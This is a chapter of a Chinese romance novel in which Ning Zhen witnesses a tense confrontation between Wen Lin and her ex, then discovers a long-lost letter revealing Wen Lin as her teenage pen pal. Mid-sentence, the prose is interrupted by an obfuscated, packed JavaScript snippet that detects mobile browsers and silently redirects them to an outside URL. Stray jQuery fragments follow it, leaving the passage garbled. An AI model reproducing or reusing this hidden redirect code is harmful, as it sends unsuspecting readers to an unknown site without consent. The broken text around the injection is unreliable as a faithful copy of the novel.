时间过去七天，却好像有七年那么久。


    创口敞开了，宁蓁被迫直视里面血淋淋交织的脉络，亲手一根根挑明。


    宴会结束的夜晚，她肖想过他的身体。但那只是欲望，不是真相。后来温霖唤她为“师姐”，恍惚之间，她穿梭于北城与梦中坍塌的山谷，眼泪溃散成河，全都没入他衣襟。


    即便那一刻宁蓁仍在想：我到底能不能相信他。


    但群山茫茫，总有能为之付出信任的事物。


    “嗷呜！”


    沐沐的绳子牵在手里。小狗今天过分活泼，天生自来卷的狗毛飞到衣裤上，可她心甘情愿。


    宁蓁俯身摸摸它脑袋：“走吧沐沐。”


    温霖不知道去哪儿了，匆匆交过牵引绳就离开。天气晴朗，他拜托她带沐沐溜达几圈，不过实际上是由着它撒欢儿，追追阳光，踩踩影子，钻进野菜丛里嗅闻大自然的芳香。


    绳子牵扯的力道一下下将她拉向现实。山间公路盘桓，宁蓁又想起初遇温霖的那天，对她来说，落日深山偶遇陌生男人，无论怎么审视都充满危险——但如果他旁边站着条毛茸茸的狗，那就完全不一样了。


    “慢点！”


    沐沐拉着人闯入树林，清新的青草味儿一阵阵漫上来，宁蓁松了肩膀，闭上眼深深呼吸。


    对了，那晚甚至并非初遇，而是重逢。


    草木泼出了充足的氧，末尾，鼻尖却捉到一抹尼古丁与焦油混合的浑浊。


    错觉让她看见沐沐仰头动了动耳朵。


    ——“我劝你最好离她远点儿。”


    谁？


    她攒眉，把绳子挽了两绕，藏向树后。


    目光往空阔的地方甩。云翳底下有两道人影，其中一个左手指缝闪着时隐时现的火。


    ——“不好意思，你在和我说话？”


    是主人的声音。沐沐忽然摇起尾巴要冲出去，鼻头一吸一吸地翕动，挤出尖锐的嘤咛。


    再等等。她手下一紧，低身，食指置于双唇中间。她想听听他们的谈话，如果没记错，当初他们在法堂后面躲清静，温霖就是这么做的。


    “噤声”。


    果然，沐沐安静下来。


    “和我装傻？”莫昭低头点燃了烟，“猜猜封杀一个十几万粉的小网红要花多久，十分钟，还是两分钟？”


    赤裸裸的威胁。


    前任男友有双精明的眼，掩在镜片下混沌不清。宁蓁愣了一瞬，不打算探究那道表情，转而虚着嗓子问沐沐：


    他的工作是……


    沐沐自然听不懂。


    “你不会以为，”他讽刺道，“谁都有义务陪你玩霸总游戏吧。”


    温霖比平时冷得多，宁蓁忽而怀疑这种阴郁的性格才是他本来面目。


    陌生，却不出意料，好像她早就见过一样。


    为了想起点儿线索，她盘算起年龄差。他比自己小三岁，比莫昭小九岁，莫昭上大学时，他刚是个小学生。


    宁蓁后知后觉，这么看来她和莫昭也差了太多，他们交往时，他完全占据着上位者的角色。


    视线回到空旷草地中央。


    香烟猩红，男人吸了一口，重重吐出来，她仿佛听见他吞吐烟雾的嘶嘶声。


    “舔狗。”莫昭不屑地嗤笑一声。


    宁蓁不喜欢这个词。


    白雾缭绕，对面人敛眸，如同一团幽深的影子。


    “是。”


    温霖唇角微弯。


    爱无能者才用“舔狗”两个字嘲讽别人。他觉得挺好笑，而且不介意再添把火：


    “那又怎样。”


    如果他们破镜重圆，他有把握让镜子再碎一次。


    五秒，抑或十秒过去。


    “看看你周围，”莫昭朝他扬了扬下巴，“那排树，这片草坪，马上连整座山都是我的，你拿什么和我争？”


    火光星星点点飘落。男人手指夹着烟，从容不迫磕两下，掸掉烟灰。


    “原来你打算和山过一辈子。”


    温霖口中称他“有情致”，眼里藏不住的锋芒却划破烟雾。“那我建议你也睁眼看看周围。”


    二人脚边柔草倾倒，不远处是茂盛连天的树，夏天还远，枝叶冒着绿气，像蒸开的云，只为了阳光有限，留下一丝羞避的缝隙。


    现在宁蓁学会辨认树叶的形状。有棵树坠了小花苞，乳白色，她之前拍进app，又在网上搜寻过资料。


    那是珙桐，重点保护树种。


    莫昭手里的火星燃着。林间风起，白烟散了，但他控制不了烟灰往哪里落。


    春日山间，尼古丁和焦油是危险的气味。温霖以沉默质问，一根烟有没有可能引发山火。


    “把烟掐了。”


    他给的不是提醒，而是警告。


    莫昭在商海沉浮久了，自然懂得权衡利弊。烟蒂掉下去，被皮鞋踩着左右碾转，火熄了，闷成一缕白烟，旁边一同碾碎了几只蚂蚁残尸。


    他垂首，眼里流出精光。


    那副姿态让宁蓁想起从前。有次莫昭请她看了部包场电影，讲述主角二人用超轻型飞行器引导鸟类迁徙路线，结局后他说，弱肉强食，人定胜天。


    “我从来说到做到，温霖，”他冷不丁挑衅道，“你得为今天付出代价。”


    手心被绳子牵拽，沐沐似乎嗅出空气中的刺激气味，尾巴低低夹着，朝他们呲起尖利的牙。


    气氛剑拔弩张。


    她正在想莫昭怎么知道他的名字。同一时刻，她看到那个男人攥紧了拳头，手背青筋暴起，如虬结的树根。


    显然温霖比她看得更清楚。


    “你调查过我。”


    莫昭不置可否。


    “那你应该知道舞蹈生最习惯什么。”


    风声低啸，吹得宁蓁摇曳两下。


    思绪猛然回到破旧的童年。姥姥每个周末送她去商业街，东边有栋灰色矮楼，墙面玻璃泛着幽蓝，夏季时映出灼烈的太阳。此后她频繁梦见小时候，走到舞蹈教室底下，晕乎乎仰头盯着楼上的蓝玻璃。


    想跳舞，这是她朦胧生发的第一个信念，但梦中的老街已经空无一人。


    “舞蹈生……”


    她重新审视起他修长的身影。


    答案是疼痛。


    常年练舞的人难免受伤，也最会忍痛。


    温霖视线淡然锁住莫昭膨起的拳，问他想打架么。


    树后，宁蓁右手一抖，松开牵引绳，沐沐没了束缚，立刻飞奔出去冲向主人，嘹亮的吠叫响彻鹭山，树叶都为之震颤。


    他俯身去迎接它，在那之前，她感觉温霖拨开了风，深深望了过来。


    *


    之前漫长的七天内，宁蓁并非无事可做。期间她回了趟家，翻箱倒柜，想找出与文学社笔友往来的信件。


    银喉长尾山雀因她降落，因她被猎杀。少女心中刻下难以磨灭的阴影，那阵子她过得浑浑噩噩，一靠近学校就呕吐，于是发疯似的摔了书包，扔了所有让她恶心的东西，以为这样能慢慢好起来。


    最后连珍贵的信，连朋友，她都弄丢了。


    深夜，宁蓁搬开储物箱，找出几本高三课本和教辅书。透明书皮伤痕累累，纸张泛黄，她坐在地板上挨个翻遍，一页都没落下，期望夹缝里掉出一丁点儿碎片。


    真的……


    真的是他么？


    那个曾经写了十数封来信，字迹清秀，与她坦诚相见的人……


    啪嗒——


    一沓蒙尘的纸突然飞出来。


    信封方方正正，外面写有他们专属的标记，红桃与黑桃K。信件封口处以胶棒粘合，早已风干，剩下一滩皱巴巴的粗糙。


    宁蓁双眼惊喜地亮了。


    指腹掀开封盖，她伸手进去，却什么都没摸出来。


    里面，竟是空的？


    “怎么这样……”


    大概当年哭得昏天黑地，匆匆看过，也一并丢了。宁蓁总算知道了什么是因什么是果，她有点儿恼，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071764|163236||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不甘心地撑开信封，又一次确认里头空空如也。


    这恐怕是她能找到的唯一一封。


    后来翻遍原木色的老房子，仍旧一无所获。


    她抱住膝盖叹了口气，莫名委屈得眼睑泛红。


    没有回信了，再也没有。


    为什么当时她就不能……


    身体卸力，胳膊搭在膝头垂下来，手指还捏着空信封，沉甸甸的。


    等等。


    沉？


    宁蓁起了疑心，指尖掐一下信封边缘，掐出两声簌簌的脆响。


    她举起来，对着天花板的灯眯了眼睛。


    它落地的时候声音更重，厚度也和一般的信封不一样。


    她撑起身子，摸向桌角的笔筒。信封内有机关——十六岁的她倒在了潮湿的血水里，眼前蒙上猩红，完全错过了这些线索。


    剪刀割开密合的侧面。


    果然，是嵌套结构，里面除了丢失的信，还在夹层中藏着东西。


    宁蓁轻轻抽出——


    新的纯白信封，尺寸更小，用A4纸折成。


    封盖上蓝黑色碳素笔写着：给师姐。


    窗外积了雨云。胸口一股炽热呼之欲出，她长发里渗出薄汗，谨慎地撕开封口。


    一张小纸片。


    「九师姐你好，这是我的联系方式」


    「我想认识你……」


    「如果不介意」


    「可以加我好友吗？」


    宁蓁踉踉跄跄抄起手机，右手颤着点开“新的朋友”“添加好友”，输入那串字母。


    甚至来不及按下搜索，下拉栏已经跳出联系人，一方月白的纯色头像。


    点进去，直接跳转到对话界面。


    真的是他。


    她双唇微张，哽咽着，眼泪涟涟打在屏幕。


    许多事、许多细节忽然拧到了一起。为什么他有时能读透她的想法；为什么他说“后期奎因问题”，说“凶手会回到犯罪现场”；为什么他问“学校里有没有鹅”；为什么濛濛细雨的夜晚，分明第一次见面，他却知道她曾经的志向是中文系。


    还有为什么……


    我总对他感到熟悉。


    原来一切，都有迹可循。


    她眼眶盛不下泪水，掉下来就忙用手背拭掉，另一只手紧紧捏住跨越了十年的来信。


    我的回应竟然晚了那么久……


    岁月无情地折叠。她放肆哭着，仿佛哭得时间倒流，流向模糊的童年。


    *


    当天再见面是傍晚，天空烧得通红，他们站在古槐下听晚上的撞钟。


    “蓁蓁！啊，有边牧博士！”


    “嘘，别打扰他们。”


    两名披着义工马甲的女生走过，朝她摆摆手。


    沐沐换以站姿表示热情。温霖问：“她们是？”


    宁蓁说：“新来的义工。”


    钟声回荡着，留下微妙的寂然。


    她目光悄悄往身边挪，落到他漆黑的衣袖。一切变得不可思议了，譬如白日会由短变长，譬如小狗能自如控制自己的尾巴。


    譬如这个时隔十年，再次重逢的世界。


    你什么时候认出了我？宁蓁想问，却轻抿着唇。


    她不知道温霖也迟迟开不了口。


    “师姐……”他有些忌惮，怕哪句话触碰创伤。


    太安静了。


    突然，沐沐朝着寺门低吠两声，宁蓁吓了一跳，不自觉抬起右手牵向温霖的袖口。


    ——不行。


    她意识紧绷，悬在半空的手匆匆放下。


    “我们，”温霖嗓音低缓，“去游乐园吧。”


    “嗯？”宁蓁还在怔怔地想，怎么自己总要拉住他上衣的某个边角。


    他微微笑了：“一起去游乐园玩吧。”


    好像要履行某个约定，温霖主动提出邀请。宁蓁动摇了，却重新覆上一层冰冷的疏离，望进他深邃而专注的双眼。


    “对不起……”